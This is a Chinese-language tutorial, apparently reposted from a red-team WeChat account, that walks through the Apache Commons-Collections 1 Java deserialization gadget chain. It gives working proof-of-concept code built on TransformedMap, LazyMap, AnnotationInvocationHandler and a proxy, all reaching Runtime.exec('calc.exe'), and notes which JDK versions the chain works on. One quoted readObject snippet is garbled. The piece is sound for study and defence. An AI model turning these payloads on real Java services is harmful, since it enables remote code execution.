前言
在CC链的前置基础学习完后,就可以开始学习CC链的具体执行流程。
CC链分析
先来看下poc代码
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformer
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("test");
}
}
下面逐一分析
先看下面这段代码,ConstantTransformer
和InvokerTransformer
都是Transformer
接口的实现类,通过new创建了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ConstantTransformer分析
先来分析一下ConstantTransformer
这里是使用了构造方法传入参数,poc中传入的参数为Runtime.class
,而在调用到transform时,会返回我们传入的参数,也就是返回这里的iConstant
。
InvokerTransformer分析
打一个debug跟踪到InvokerTransformer
类的构造方法里面
可以看到传入到构造方法中有三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。
poc里的三个InvokerTransformer
的参数值,如下
getMethod,new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0] }
invoke,new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}
exec,new Class[]{String.class},new Object[]{"calc.exe"}
在InvokerTransformer
类中同样存在transform
方法,后面再具体分析
ChainedTransformer分析
poc代码继续往下分析,可以看到如下代码
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers
数组传入ChainedTransformer
构造方法里面。在构造方法中将transformers
赋值给本类的成员变量iTransformers
该类同样存在transform
方法
transform
方法的作用会遍历transformers
数组,然后逐个去调用它的transform
方法。并且还可以看出该方法会将第一次的执行结果传递给第二次执行的参数里面去。知道了ChainedTransformer
的作用后,我们需要知道的是ChainedTransformer
的transform
什么时候会被调用。继续往下调试
进入setValue
方法,继续跟进,可以在TransformedMap#checkSetValue
方法中发现调用了ChainedTransformer
的transform
方法,这里之前在前置学习中就已经分析过了
后面自然就循环调用每个Transformer
的transform
方法
根据顺序,会调用第一个ConstantTransformer
的transform
方法,也就是返回构造函数中设置的iConstant
,这里就是Runtime.class
接着往下,就到了InvokerTransformer,可以看到参数input的值是上个Transformer返回的结果Runtime.class,后面就是利用反射拿到Runtime对象,因为Runtime没有构造方法需要调用getRuntime()方法获取到Runtime对象,所以这里的流程是:
Runtime.getClass().getMethod("getRuntime",null).invoke() -> Method
继续跟,来到第二个InvokerTransformer
,分析如上,因为上面获得了一个Method,那么我们就需要调用它的invoke方法来执行,所以这里getMethod方法里的参数值为invoke,第二个参数即参传入的参数类型Object
接着往下,来到第三个InvokerTransformer
,也就是最后一个Transformer
,这里可以看到输入input成功拿到Runtime对象,现在只需要执行Runtime#exe
方法即可,同样先通过getMethod
方法拿到exec对应的Method,所以这里getMethod
的第一个参数,就是exec,第二个参数即exec方法执行的参数类型String,返回method,然后调用invoke执行,参数为calc.exe。
之后弹出计算器
整个过程归纳
通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。
transform方法调用分析
分析下poc中TransformedMap#decorate
方法
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
调试进入decorate方法,然后跟进来到TransformedMap
的构造方法
构造方法把传入的map和Transformer进行赋值。那么要想知道ChainedTransformer
是如何调用transform
方法,只需在当前类中搜索valueTransformer
,因为ChainedTransformer
是赋值给valueTransformer
的,然后在transformValue
方法中发现了transform方法的调用
继续查找transformValue
方法是在哪被调用的,发现在put方法里会调用transformValue
方法,从而导致transformValue
调用transform
方法去执行命令。
所以我们在调用TransformedMap#decorate
方法绑定transformer之后,再调用put方法也可触发命令执行。
接着上文,上文我们通过方法调用弹出了计算器,那么在反序列化的漏洞场景下该如何运用呢。
下面为完整的调用链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
LazyMap
在分析调用链之前,先学习一下LazyMap
,这个类和TransformedMap
类似,都继承AbstractMapDecorator
抽象类
根据之前的分析,可以知道TransformedMap
的触发点是put()方法
put()->transformValue()->ChainedTransformer#transform()
而LazyMap
的触发点是在get()方法
get()方法的实现是首先判断map的中是否包含传入的key,当key不存在时,就会调用transformerChain
的transform()方法。那么,我们根据这个触发点来编写如下poc
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
运行完get()方法弹出计算器
AnnotationInvocationHandler
AnnotationInvocationHandler
类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数。
所有的注解类型都继承自Annotation接口
查看AnnotationInvocationHandler#readObject
方法
假设这里我们通过反射调用AnnotationInvocationHandler
,并传入两个参数,一个是Retention.class
,另一个是outerMap
。Retention
是一个注解类。outerMap
是我们TransformedMap
修饰过的类。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
这时候在AnnotationInvocationHandler
的readObject
方法里面memberValues
就是我们使用反射传入的TransformedMap
的对象。代码中遍历了它的所有元素,并依次设置值。在调用setValue
设置值的时候就会触发TransformedMap
⾥的Transform
方法,从而导致命令的执行。
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
}
POC分析
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc.exe" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行弹出计算器
测试过程发现,jdk1.8.0_321无法达到命令执行的目的,后面换了个jdk1.7.0_21才执行成功
在高版本中的AnnotationInvocationHandler
的readObject
是被改动过的,如下为低版本jdk
cc链的另一种构造方式
接着上篇的分析,上文中讲到LazyMap
通过get()
方法可以达到利用链触发命令执行
根据get()
方法克制,根据传入的key进行判断,如果map中不包含此key,就会通过factory
调用transform()
方法,这里的factory
是可以通过构造方法进行赋值的,那么这里可以将factory
的值赋值为ChainedTransformers
,就可以触发后面的调用链完成命令执行。但可以看到LazyMap
的构造方法是被protected
关键词修饰的,是无法直接进行new创建的,
查找其他函数时,发现decorate()
方法可以完成factory
的赋值。这也是为什么在前面的POC里面我们调用该方法并传入innerMap
和transformerChain
参数。
这里传入的innerMap
为为一个Map集合,transformerChain
为一个被ChainedTransformer
修饰过的Transformer[]
数组
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
调试分析,首先进入decorate()
方法,完成factory
的赋值
下一步进入get()方法,调用transform()
方法,后续就是循环调用Transformer#transform
方法
上面是我们测试的POC的调用过程,但在实际利用中,如何让它调用到我们的get()
方法呢,在上篇中AnnotationInvocationHandler
的invoke()
方法会调用get()
方法
根据构造方法传入第⼀个参数是⼀个Annotation
类类型参数,该类是注解类,第二个是map类型参数,这个参数可以传LazyMap
类型的对象去调用get()
方法,get()
方法调用transform()
,
怎么去调用AnnotationInvocationHandler
的invoke
POC分析
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
看下这行代码
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
这里的handler
是反射创建的一个 AnnotationInvocationHandler
类。而AnnotationInvocationHandler
中实现了InvocationHandler
接口,可以直接作为调用处理器传入。在poc执行反序列化时,由于AnnotationInvocationHandler
重写了readObject()
方法,并且readObject()
方法会调用memberValues.entrySet().iterator()
,这里的memberValues
即为被代理类LazyMap
,通过构造方法传入并赋值
在下面代理对象是proxyMap
,当调用proxyMap
的entrySet()
会触发到AnnotationInvocationHandler
的invoke()
方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()
方法都会执行一次。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
所以接下来就会执行AnnotationInvocationHandler
的invoke()
方法,接着调用LazyMap#get()
触发后面的利用链
进入get()
方法,如下,后面就和之前的利用过程一致了
完整的利用链如下
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
总结
CC1这条链里面是有版本限制的,在高版本中对readObject()
方法进行了修改,经过测试jdk < 8u71,可以利用成功
jdk1.7.0_21 【成功】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
jdk1.8.0_171 【失败】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
参考
https://www.cnblogs.com/nice0e3/p/13779857.html
原文始发于微信公众号(全栈红队):Java攻防基础之Commons-Collections1分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论